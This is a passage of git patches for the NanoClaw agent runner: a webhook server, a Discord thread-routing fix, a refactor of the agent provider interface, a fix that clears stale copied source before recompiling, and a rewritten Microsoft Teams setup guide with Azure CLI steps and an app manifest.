log.info('Webhook adapter registered', { adapter: adapterName, path: `/webhook/${adapterName}` }); +} + +function ensureServer(): void { + if (server) return; + + const port = parseInt(process.env.WEBHOOK_PORT || String(DEFAULT_PORT), 10); + + server = http.createServer(async (req, res) => { + const url = req.url || '/'; + + // Route: /webhook/{adapterName} + const match = url.match(/^\/webhook\/([^/?]+)/); + if (!match) { + res.writeHead(404, { 'Content-Type': 'text/plain' }); + res.end('Not found'); + return; + } + + const adapterName = match[1]; + const entry = routes.get(adapterName); + if (!entry) { + res.writeHead(404, { 'Content-Type': 'text/plain' }); + res.end(`Unknown adapter: ${adapterName}`); + return; + } + + try { + const webReq = await toWebRequest(req); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const webhooks = entry.chat.webhooks as Record Promise>; + const handler = webhooks[entry.adapterName]; + const webRes = await handler(webReq, { + waitUntil: (p: Promise) => { + p.catch(() => {}); + }, + }); + await fromWebResponse(webRes, res); + } catch (err) { + log.error('Webhook handler error', { adapter: adapterName, url: req.url, err }); + res.writeHead(500, { 'Content-Type': 'text/plain' }); + res.end('Internal Server Error'); + } + }); + + server.listen(port, '0.0.0.0', () => { + log.info('Webhook server started', { port, adapters: [...routes.keys()] }); + }); +} + +/** Shut down the webhook server. */ +export async function stopWebhookServer(): Promise { + if (server) { + await new Promise((resolve) => server!.close(() => resolve())); + server = null; + routes.clear(); + log.info('Webhook server stopped'); + } +} From e07158e194dc537e2b849a84eed470cfb5adbea4 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 12 Apr 2026 18:13:42 +0300 Subject: [PATCH 123/485] fix(agent-runner): preserve thread_id when sending to current channel send_file and send_message with an explicit `to` parameter were always setting thread_id to null, causing files and messages to land in the Discord channel root instead of the thread the session is bound to. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/mcp-tools/core.ts | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index cef0d6c..b805685 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -42,8 +42,10 @@ function destinationList(): string { * If `to` is omitted, use the session's default reply routing (channel + * thread the conversation is in) — the agent replies in place. * - * If `to` is specified, look up the named destination; thread_id is null - * because a cross-destination send starts a new conversation elsewhere. + * If `to` is specified, look up the named destination. If it resolves to + * the same channel the session is bound to, the session's thread_id is + * preserved so replies land in the correct thread. Otherwise thread_id + * is null (a cross-destination send starts a new conversation). */ function resolveRouting( to: string | undefined, @@ -75,10 +77,17 @@ function resolveRouting( const dest = findByName(to); if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; if (dest.type === 'channel') { + // If the destination is the same channel the session is bound to, + // preserve the thread_id so replies land in the correct thread. + const session = getSessionRouting(); + const threadId = + session.channel_type === dest.channelType && session.platform_id === dest.platformId + ? session.thread_id + : null; return { channel_type: dest.channelType!, platform_id: dest.platformId!, - thread_id: null, + thread_id: threadId, resolvedName: to, }; } From b63dd186dfb1bf30f48fa8a2420171065d946d01 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 13 Apr 2026 10:25:29 +0300 Subject: [PATCH 124/485] refactor(agent-runner): decouple provider interface from Claude specifics MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reshape AgentProvider so provider-specific assumptions stop leaking into the generic layer. No change to what reaches sdkQuery() — same values, different plumbing. - QueryInput: opaque `continuation` replaces `sessionId` + `resumeAt`; `systemContext.instructions` replaces ambiguous `systemPrompt`; `mcpServers`, `env`, `additionalDirectories` move to `ProviderOptions` at construction time. - AgentProvider gains `isSessionInvalid(err)` and `supportsNativeSlashCommands` so the poll-loop stops regex-matching Claude error strings and gates passthrough slash commands per provider. - ClaudeProvider owns `CLAUDE_CODE_AUTO_COMPACT_WINDOW` and the stale-session regex internally. - ProviderEvent.activity kept and documented as the liveness signal (fires on every SDK message so the idle timer stays honest during long tool runs); init carries `continuation` instead of `sessionId`. - poll-loop drops mcpServers/env/systemPrompt from its config; admin user id now passed explicitly. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/index.ts | 28 +++--- .../agent-runner/src/integration.test.ts | 8 +- container/agent-runner/src/poll-loop.test.ts | 12 +-- container/agent-runner/src/poll-loop.ts | 89 +++++++++---------- .../agent-runner/src/providers/claude.ts | 54 ++++++++--- .../agent-runner/src/providers/factory.ts | 8 +- container/agent-runner/src/providers/mock.ts | 12 ++- container/agent-runner/src/providers/types.ts | 59 ++++++++---- 8 files changed, 156 insertions(+), 114 deletions(-) diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 6692d33..c0e431c 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -40,19 +40,18 @@ const GLOBAL_CLAUDE_MD = '/workspace/global/CLAUDE.md'; async function main(): Promise { const providerName = (process.env.AGENT_PROVIDER || 'claude') as ProviderName; const assistantName = process.env.NANOCLAW_ASSISTANT_NAME; + const adminUserId = process.env.NANOCLAW_ADMIN_USER_ID; log(`Starting v2 agent-runner (provider: ${providerName})`); - const provider = createProvider(providerName, { assistantName }); - // Load global CLAUDE.md as additional system context, then append destinations addendum - let systemPrompt: string | undefined; + let instructions: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { - systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); + instructions = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); log('Loaded global CLAUDE.md'); } const addendum = buildSystemPromptAddendum(); - systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum; + instructions = instructions ? `${instructions}\n\n${addendum}` : addendum; // Discover additional directories mounted at /workspace/extra/* const additionalDirectories: string[] = []; @@ -73,12 +72,6 @@ async function main(): Promise { const __dirname = path.dirname(fileURLToPath(import.meta.url)); const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); - // SDK env - const env: Record = { - ...process.env, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', - }; - // Build MCP servers config: nanoclaw built-in + any additional from host const mcpServers: Record }> = { nanoclaw: { @@ -105,13 +98,18 @@ async function main(): Promise { } } + const provider = createProvider(providerName, { + assistantName, + mcpServers, + env: { ...process.env }, + additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + }); + await runPollLoop({ provider, cwd: CWD, - mcpServers, - systemPrompt, - env, - additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + systemContext: { instructions }, + adminUserId, }); } diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index d30f324..7b2dc36 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -34,7 +34,7 @@ describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); - const provider = new MockProvider(() => '42'); + const provider = new MockProvider({}, () => '42'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -60,7 +60,7 @@ describe('poll loop integration', () => { insertMessage('m1', { sender: 'Alice', text: 'Hello' }); insertMessage('m2', { sender: 'Bob', text: 'World' }); - const provider = new MockProvider(() => 'Got both messages'); + const provider = new MockProvider({}, () => 'Got both messages'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -75,7 +75,7 @@ describe('poll loop integration', () => { }); it('should process messages arriving after loop starts', async () => { - const provider = new MockProvider(() => 'Processed'); + const provider = new MockProvider({}, () => 'Processed'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); @@ -99,8 +99,6 @@ async function runPollLoopWithTimeout(provider: MockProvider, signal: AbortSigna runPollLoop({ provider, cwd: '/tmp', - mcpServers: {}, - env: {}, }), new Promise((_, reject) => { signal.addEventListener('abort', () => reject(new Error('aborted'))); diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts index 718be53..79e9e77 100644 --- a/container/agent-runner/src/poll-loop.test.ts +++ b/container/agent-runner/src/poll-loop.test.ts @@ -104,12 +104,10 @@ describe('routing', () => { describe('mock provider', () => { it('should produce init + result events', async () => { - const provider = new MockProvider((prompt) => `Echo: ${prompt}`); + const provider = new MockProvider({}, (prompt) => `Echo: ${prompt}`); const query = provider.query({ prompt: 'Hello', cwd: '/tmp', - mcpServers: {}, - env: {}, }); const events: Array<{ type: string }> = []; @@ -127,12 +125,10 @@ describe('mock provider', () => { }); it('should handle push() during active query', async () => { - const provider = new MockProvider((prompt) => `Re: ${prompt}`); + const provider = new MockProvider({}, (prompt) => `Re: ${prompt}`); const query = provider.query({ prompt: 'First', cwd: '/tmp', - mcpServers: {}, - env: {}, }); const events: Array<{ type: string; text?: string }> = []; @@ -164,12 +160,10 @@ describe('end-to-end with mock provider', () => { const prompt = formatMessages(messages); // Create mock provider and run query - const provider = new MockProvider(() => 'The answer is 4'); + const provider = new MockProvider({}, () => 'The answer is 4'); const query = provider.query({ prompt, cwd: '/tmp', - mcpServers: {}, - env: {}, }); // Process events — simulate what poll-loop does diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 2e401af..c5717f8 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -4,7 +4,7 @@ import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; import { getStoredSessionId, setStoredSessionId, clearStoredSessionId } from './db/session-state.js'; import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; -import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; +import type { AgentProvider, AgentQuery, ProviderEvent } from './providers/types.js'; const POLL_INTERVAL_MS = 1000; const ACTIVE_POLL_INTERVAL_MS = 500; @@ -21,10 +21,11 @@ function generateId(): string { export interface PollLoopConfig { provider: AgentProvider; cwd: string; - mcpServers: Record; - systemPrompt?: string; - env: Record; - additionalDirectories?: string[]; + systemContext?: { + instructions?: string; + }; + /** Admin user ID for permission checks on admin commands (e.g. /clear). */ + adminUserId?: string; } /** @@ -38,15 +39,14 @@ export interface PollLoopConfig { * 6. Loop */ export async function runPollLoop(config: PollLoopConfig): Promise { - // Resume the SDK session from a prior container run if one was persisted. - // The SDK's .jsonl transcripts live in the shared ~/.claude mount, so the - // conversation history is already on disk — we just need the session ID - // to tell the SDK which one to continue. - let sessionId: string | undefined = getStoredSessionId(); - let resumeAt: string | undefined; + // Resume the agent's prior session from a previous container run if one + // was persisted. The continuation is opaque to the poll-loop — the + // provider decides how to use it (Claude resumes a .jsonl transcript, + // other providers may reload a thread ID, etc.). + let continuation: string | undefined = getStoredSessionId(); - if (sessionId) { - log(`Resuming SDK session ${sessionId}`); + if (continuation) { + log(`Resuming agent session ${continuation}`); } // Clear leftover 'processing' acks from a previous crashed container. @@ -75,7 +75,7 @@ export async function runPollLoop(config: PollLoopConfig): Promise { const routing = extractRouting(messages); // Handle commands: categorize chat messages - const adminUserId = config.env.NANOCLAW_ADMIN_USER_ID; + const adminUserId = config.adminUserId; const normalMessages = []; const commandIds: string[] = []; @@ -110,9 +110,8 @@ export async function runPollLoop(config: PollLoopConfig): Promise { } // Handle admin commands directly if (cmdInfo.command === '/clear') { - log('Clearing session (resetting sessionId)'); - sessionId = undefined; - resumeAt = undefined; + log('Clearing session (resetting continuation)'); + continuation = undefined; clearStoredSessionId(); writeMessageOut({ id: generateId(), @@ -149,43 +148,37 @@ export async function runPollLoop(config: PollLoopConfig): Promise { continue; } - // Format messages: passthrough commands get raw text, others get XML - const prompt = formatMessagesWithCommands(normalMessages); + // Format messages: passthrough commands get raw text (only if the + // provider natively handles slash commands), others get XML. + const prompt = formatMessagesWithCommands(normalMessages, config.provider.supportsNativeSlashCommands); log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); const query = config.provider.query({ prompt, - sessionId, - resumeAt, + continuation, cwd: config.cwd, - mcpServers: config.mcpServers, - systemPrompt: config.systemPrompt, - env: config.env, - additionalDirectories: config.additionalDirectories, + systemContext: config.systemContext, }); // Process the query while concurrently polling for new messages const processingIds = ids.filter((id) => !commandIds.includes(id)); try { const result = await processQuery(query, routing, config, processingIds); - if (result.sessionId && result.sessionId !== sessionId) { - sessionId = result.sessionId; - setStoredSessionId(sessionId); + if (result.continuation && result.continuation !== continuation) { + continuation = result.continuation; + setStoredSessionId(continuation); } - if (result.resumeAt) resumeAt = result.resumeAt; } catch (err) { const errMsg = err instanceof Error ? err.message : String(err); log(`Query error: ${errMsg}`); - // Stale/corrupt session recovery: if the SDK can't find the session - // we asked it to resume, clear the stored ID so the next attempt - // starts fresh. The transcript .jsonl can go missing after a crash - // mid-write, manual deletion, or disk-full. - if (sessionId && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(errMsg)) { - log(`Stale session detected (${sessionId}) — clearing for next retry`); - sessionId = undefined; - resumeAt = undefined; + // Stale/corrupt continuation recovery: ask the provider whether + // this error means the stored continuation is unusable, and clear + // it so the next attempt starts fresh. + if (continuation && config.provider.isSessionInvalid(err)) { + log(`Stale session detected (${continuation}) — clearing for next retry`); + continuation = undefined; clearStoredSessionId(); } @@ -207,17 +200,16 @@ export async function runPollLoop(config: PollLoopConfig): Promise { /** * Format messages, handling passthrough commands differently. - * Passthrough commands (e.g., /foo) are sent raw (no XML wrapping). - * Admin commands from authorized users are formatted as system commands. - * Normal messages get standard XML formatting. + * When the provider handles slash commands natively (Claude Code), + * passthrough commands are sent raw (no XML wrapping) so the SDK can + * dispatch them. Otherwise they fall through to standard XML formatting. */ -function formatMessagesWithCommands(messages: MessageInRow[]): string { - // Check if any message is a passthrough command +function formatMessagesWithCommands(messages: MessageInRow[], nativeSlashCommands: boolean): string { const parts: string[] = []; const normalBatch: MessageInRow[] = []; for (const msg of messages) { - if (msg.kind === 'chat' || msg.kind === 'chat-sdk') { + if (nativeSlashCommands && (msg.kind === 'chat' || msg.kind === 'chat-sdk')) { const cmdInfo = categorizeMessage(msg); if (cmdInfo.category === 'passthrough' || cmdInfo.category === 'admin') { // Flush normal batch first @@ -241,12 +233,11 @@ function formatMessagesWithCommands(messages: MessageInRow[]): string { } interface QueryResult { - sessionId?: string; - resumeAt?: string; + continuation?: string; } async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig, processingIds: string[]): Promise { - let querySessionId: string | undefined; + let queryContinuation: string | undefined; let done = false; let lastEventTime = Date.now(); @@ -289,7 +280,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: touchHeartbeat(); if (event.type === 'init') { - querySessionId = event.sessionId; + queryContinuation = event.continuation; } else if (event.type === 'result' && event.text) { dispatchResultText(event.text, routing); } @@ -299,13 +290,13 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: clearInterval(pollHandle); } - return { sessionId: querySessionId }; + return { continuation: queryContinuation }; } function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { switch (event.type) { case 'init': - log(`Session: ${event.sessionId}`); + log(`Session: ${event.continuation}`); break; case 'result': log(`Result: ${event.text ? event.text.slice(0, 200) : '(empty)'}`); diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts index adfd0e2..93976b6 100644 --- a/container/agent-runner/src/providers/claude.ts +++ b/container/agent-runner/src/providers/claude.ts @@ -3,7 +3,7 @@ import path from 'path'; import { query as sdkQuery, type HookCallback, type PreCompactHookInput } from '@anthropic-ai/claude-agent-sdk'; -import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; +import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent, ProviderOptions, QueryInput } from './types.js'; function log(msg: string): void { console.error(`[claude-provider] ${msg}`); @@ -161,31 +161,61 @@ function createPreCompactHook(assistantName?: string): HookCallback { // ── Provider ── -export class ClaudeProvider implements AgentProvider { - private assistantName?: string; +/** + * Claude Code auto-compacts context at this window (tokens). Kept here so + * the generic bootstrap doesn't need to know about Claude-specific env vars. + */ +const CLAUDE_CODE_AUTO_COMPACT_WINDOW = '165000'; - constructor(opts?: { assistantName?: string }) { - this.assistantName = opts?.assistantName; +/** + * Stale-session detection. Matches Claude Code's error text when a + * resumed session can't be found — missing transcript .jsonl, unknown + * session ID, etc. + */ +const STALE_SESSION_RE = /no conversation found|ENOENT.*\.jsonl|session.*not found/i; + +export class ClaudeProvider implements AgentProvider { + readonly supportsNativeSlashCommands = true; + + private assistantName?: string; + private mcpServers: Record; + private env: Record; + private additionalDirectories?: string[]; + + constructor(options: ProviderOptions = {}) { + this.assistantName = options.assistantName; + this.mcpServers = options.mcpServers ?? {}; + this.additionalDirectories = options.additionalDirectories; + this.env = { + ...(options.env ?? {}), + CLAUDE_CODE_AUTO_COMPACT_WINDOW, + }; + } + + isSessionInvalid(err: unknown): boolean { + const msg = err instanceof Error ? err.message : String(err); + return STALE_SESSION_RE.test(msg); } query(input: QueryInput): AgentQuery { const stream = new MessageStream(); stream.push(input.prompt); + const instructions = input.systemContext?.instructions; + const sdkResult = sdkQuery({ prompt: stream, options: { cwd: input.cwd, - additionalDirectories: input.additionalDirectories, - resume: input.sessionId, - resumeSessionAt: input.resumeAt, - systemPrompt: input.systemPrompt ? { type: 'preset' as const, preset: 'claude_code' as const, append: input.systemPrompt } : undefined, + additionalDirectories: this.additionalDirectories, + resume: input.continuation, + systemPrompt: instructions ? { type: 'preset' as const, preset: 'claude_code' as const, append: instructions } : undefined, allowedTools: TOOL_ALLOWLIST, - env: input.env, + env: this.env, permissionMode: 'bypassPermissions', allowDangerouslySkipPermissions: true, settingSources: ['project', 'user'], - mcpServers: input.mcpServers, + mcpServers: this.mcpServers, hooks: { PreCompact: [{ hooks: [createPreCompactHook(this.assistantName)] }], }, @@ -204,7 +234,7 @@ export class ClaudeProvider implements AgentProvider { yield { type: 'activity' }; if (message.type === 'system' && message.subtype === 'init') { - yield { type: 'init', sessionId: message.session_id }; + yield { type: 'init', continuation: message.session_id }; } else if (message.type === 'result') { const text = 'result' in message ? (message as { result?: string }).result ?? null : null; yield { type: 'result', text }; diff --git a/container/agent-runner/src/providers/factory.ts b/container/agent-runner/src/providers/factory.ts index 077fd08..cf20b45 100644 --- a/container/agent-runner/src/providers/factory.ts +++ b/container/agent-runner/src/providers/factory.ts @@ -1,15 +1,15 @@ -import type { AgentProvider } from './types.js'; +import type { AgentProvider, ProviderOptions } from './types.js'; import { ClaudeProvider } from './claude.js'; import { MockProvider } from './mock.js'; export type ProviderName = 'claude' | 'mock'; -export function createProvider(name: ProviderName, opts?: { assistantName?: string }): AgentProvider { +export function createProvider(name: ProviderName, options: ProviderOptions = {}): AgentProvider { switch (name) { case 'claude': - return new ClaudeProvider(opts); + return new ClaudeProvider(options); case 'mock': - return new MockProvider(); + return new MockProvider(options); default: throw new Error(`Unknown provider: ${name}`); } diff --git a/container/agent-runner/src/providers/mock.ts b/container/agent-runner/src/providers/mock.ts index 0794557..d283957 100644 --- a/container/agent-runner/src/providers/mock.ts +++ b/container/agent-runner/src/providers/mock.ts @@ -1,16 +1,22 @@ -import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; +import type { AgentProvider, AgentQuery, ProviderEvent, ProviderOptions, QueryInput } from './types.js'; /** * Mock provider for testing. Returns canned responses. * Supports push() — queued messages produce additional results. */ export class MockProvider implements AgentProvider { + readonly supportsNativeSlashCommands = false; + private responseFactory: (prompt: string) => string; - constructor(responseFactory?: (prompt: string) => string) { + constructor(_options: ProviderOptions = {}, responseFactory?: (prompt: string) => string) { this.responseFactory = responseFactory ?? ((prompt) => `Mock response to: ${prompt.slice(0, 100)}`); } + isSessionInvalid(_err: unknown): boolean { + return false; + } + query(input: QueryInput): AgentQuery { const pending: string[] = []; let waiting: (() => void) | null = null; @@ -21,7 +27,7 @@ export class MockProvider implements AgentProvider { const events: AsyncIterable = { async *[Symbol.asyncIterator]() { yield { type: 'activity' }; - yield { type: 'init', sessionId: `mock-session-${Date.now()}` }; + yield { type: 'init', continuation: `mock-session-${Date.now()}` }; // Process initial prompt yield { type: 'activity' }; diff --git a/container/agent-runner/src/providers/types.ts b/container/agent-runner/src/providers/types.ts index b0ad4da..55ab919 100644 --- a/container/agent-runner/src/providers/types.ts +++ b/container/agent-runner/src/providers/types.ts @@ -1,32 +1,52 @@ export interface AgentProvider { + /** + * True if the provider's underlying SDK handles slash commands natively and + * wants them passed through as raw text. When false, the poll-loop formats + * slash commands like any other chat message. + */ + readonly supportsNativeSlashCommands: boolean; + /** Start a new query. Returns a handle for streaming input and output. */ query(input: QueryInput): AgentQuery; + + /** + * True if the given error indicates the stored continuation is invalid + * (missing transcript, unknown session, etc.) and should be cleared. + */ + isSessionInvalid(err: unknown): boolean; +} + +/** + * Options passed to provider constructors. Fields are common to most + * providers; individual providers may ignore any they don't need. + */ +export interface ProviderOptions { + assistantName?: string; + mcpServers?: Record; + env?: Record; + additionalDirectories?: string[]; } export interface QueryInput { /** Initial prompt (already formatted by agent-runner). */ prompt: string; - /** Session ID to resume, if any. */ - sessionId?: string; - - /** Resume from a specific point in the session (provider-specific). */ - resumeAt?: string; + /** + * Opaque continuation token from a previous query. The provider decides + * what this means (session ID, thread ID, nothing at all). + */ + continuation?: string; /** Working directory inside the container. */ cwd: string; - /** MCP server configurations. */ - mcpServers: Record; - - /** System prompt / developer instructions. */ - systemPrompt?: string; - - /** Environment variables for the SDK process. */ - env: Record; - - /** Additional directories the agent can access. */ - additionalDirectories?: string[]; + /** + * System context to inject. Providers translate this into whatever their + * SDK expects (preset append, full system prompt, per-turn injection…). + */ + systemContext?: { + instructions?: string; + }; } export interface McpServerConfig { @@ -50,8 +70,13 @@ export interface AgentQuery { } export type ProviderEvent = - | { type: 'init'; sessionId: string } + | { type: 'init'; continuation: string } | { type: 'result'; text: string | null } | { type: 'error'; message: string; retryable: boolean; classification?: string } | { type: 'progress'; message: string } + /** + * Liveness signal. Providers MUST yield this on every underlying SDK + * event (tool call, thinking, partial message, anything) so the + * poll-loop's idle timer stays honest during long tool runs. + */ | { type: 'activity' }; From d4aacfe416f59c565df8445e4226861843ca118d Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 13 Apr 2026 10:25:40 +0300 Subject: [PATCH 125/485] fix(v2): clear per-group agent-runner src before copy MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit fs.cpSync never removes files that disappeared from the source, so renamed or deleted files linger in data/v2-sessions//agent-runner-src/. The container's entrypoint runs tsc over the whole mounted src via tsconfig's `include: ["src/**/*"]`, so a single stale file fails the compile and the container exits 2. Latent since the dir was introduced — surfaced when the provider interface refactor made a leftover index-v2.ts stop typechecking. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/container-runner.ts b/src/container-runner.ts index 794f2a3..34e9096 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -216,11 +216,14 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { } mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - // Agent-runner source (per agent group, recompiled on container startup) + // Agent-runner source (per agent group, recompiled on container startup). + // Clear the destination before copying so files deleted or renamed + // upstream don't linger — tsc picks them up via `include: ["src/**/*"]` + // and a single stale file will fail the compile. const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { - // Always copy — source files may have changed beyond just the index + fs.rmSync(groupRunnerDir, { recursive: true, force: true }); fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); } mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); From 3db0dceb1b29b25e34f3429650253a5b2d17e3b5 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Mon, 13 Apr 2026 07:45:28 +0000 Subject: [PATCH 126/485] docs(teams-v2): full setup guide with Azure CLI, manifest, and sideloading Rewrites the add-teams-v2 skill with step-by-step instructions covering App Registration, client secret, Azure Bot creation (portal and CLI), messaging endpoint, Teams channel, manifest template, sideloading, and RSC permissions for receiving all messages. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-teams-v2/SKILL.md | 139 +++++++++++++++++++++++---- 1 file changed, 120 insertions(+), 19 deletions(-) diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index eaed5ce..b7c3444 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -5,7 +5,7 @@ description: Add Microsoft Teams channel integration to NanoClaw v2 via Chat SDK # Add Microsoft Teams Channel -Connect NanoClaw to Microsoft Teams for interactive chat in team channels and direct messages. +Connect NanoClaw to Microsoft Teams for interactive chat in team channels, group chats, and direct messages. ## Pre-flight @@ -31,20 +31,120 @@ npm run build ## Credentials -### Create Azure Bot +### Step 1: Create an Azure AD App Registration -1. Go to [Azure Portal](https://portal.azure.com) > search **Azure Bot** > **Create** -2. Choose **Multi Tenant** (default) or **Single Tenant** depending on your org setup -3. After creation, go to **Configuration**: - - Copy the **Microsoft App ID** - - Note the **App Tenant ID** (shown for Single Tenant) - - Set **Messaging endpoint** to `https://your-domain/webhook/teams` -4. Click **Manage Password** > **Certificates & secrets** > **New client secret** — copy the Value immediately (shown only once) -5. Go to **Channels** > add **Microsoft Teams** > Accept terms > Apply +1. Go to [Azure Portal](https://portal.azure.com) > **App registrations** > **New registration** +2. Name it (e.g., "NanoClaw") +3. Supported account types: **Single tenant** (your org only) or **Multi tenant** (any org) +4. Click **Register** +5. Copy the **Application (client) ID** and **Directory (tenant) ID** from the Overview page -### Create Teams App Package +### Step 2: Create a Client Secret -Create a `manifest.json` with your App ID, zip it with two icon PNGs (32x32 outline, 192x192 color), and sideload in Teams via **Apps** > **Manage your apps** > **Upload a custom app**. Sideloading requires Teams admin or a developer tenant (free via Microsoft 365 Developer Program). +1. In the App Registration, go to **Certificates & secrets** +2. Click **New client secret**, description "nanoclaw", expiry 180 days +3. Click **Add** and **copy the Value immediately** (shown only once) + +### Step 3: Create an Azure Bot + +1. Go to Azure Portal > search **Azure Bot** > **Create** +2. Fill in: + - **Bot handle**: unique name (e.g., "nanoclaw-bot") + - **Type of App**: match your app registration (Single or Multi Tenant) + - **Creation type**: **Use existing app registration** + - **App ID**: paste from Step 1 + - **App tenant ID**: paste from Step 1 (Single Tenant only) +3. Click **Review + create** > **Create** + +Or use Azure CLI: + +```bash +az group create --name nanoclaw-rg --location eastus +az bot create \ + --resource-group nanoclaw-rg \ + --name nanoclaw-bot \ + --app-type SingleTenant \ + --appid YOUR_APP_ID \ + --tenant-id YOUR_TENANT_ID \ + --endpoint "https://your-domain/api/webhooks/teams" +``` + +### Step 4: Configure Messaging Endpoint + +1. Go to your Azure Bot resource > **Configuration** +2. Set **Messaging endpoint** to `https://your-domain/api/webhooks/teams` +3. Click **Apply** + +### Step 5: Enable Teams Channel + +1. In the Azure Bot resource, go to **Channels** +2. Click **Microsoft Teams** > Accept terms > **Apply** + +Or via CLI: + +```bash +az bot msteams create --resource-group nanoclaw-rg --name nanoclaw-bot +``` + +### Step 6: Create and Sideload Teams App + +Create a `manifest.json`: + +```json +{ + "$schema": "https://developer.microsoft.com/en-us/json-schemas/teams/v1.16/MicrosoftTeams.schema.json", + "manifestVersion": "1.16", + "version": "1.0.0", + "id": "YOUR_APP_ID", + "packageName": "com.nanoclaw.bot", + "developer": { + "name": "NanoClaw", + "websiteUrl": "https://your-domain", + "privacyUrl": "https://your-domain", + "termsOfUseUrl": "https://your-domain" + }, + "name": { "short": "NanoClaw", "full": "NanoClaw Assistant" }, + "description": { + "short": "NanoClaw assistant bot", + "full": "NanoClaw personal assistant powered by Claude." + }, + "icons": { "outline": "outline.png", "color": "color.png" }, + "accentColor": "#4A90D9", + "bots": [{ + "botId": "YOUR_APP_ID", + "scopes": ["personal", "team", "groupchat"], + "supportsFiles": false, + "isNotificationOnly": false + }], + "permissions": ["identity", "messageTeamMembers"], + "validDomains": ["your-domain"] +} +``` + +Create two icon PNGs (32x32 `outline.png`, 192x192 `color.png`), zip all three files together. + +**Sideload in Teams:** +1. Open Teams > **Apps** > **Manage your apps** +2. Click **Upload an app** > **Upload a custom app** +3. Select the zip file + +Sideloading requires Teams admin access. Free personal Teams does NOT support sideloading. Use a Microsoft 365 Business account or developer tenant. + +### Step 7: Receive All Messages (Optional) + +By default, the bot only receives messages when @-mentioned. To receive all messages in a channel without @-mention, add RSC permissions to `manifest.json`: + +```json +{ + "authorization": { + "permissions": { + "resourceSpecific": [ + { "name": "ChannelMessage.Read.Group", "type": "Application" } + ] + } + } +} +``` ### Configure environment @@ -62,9 +162,9 @@ Sync to container: `mkdir -p data/env && cp .env data/env/env` ### Webhook server -The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/webhook/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure Bot Service to deliver activities. +The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure 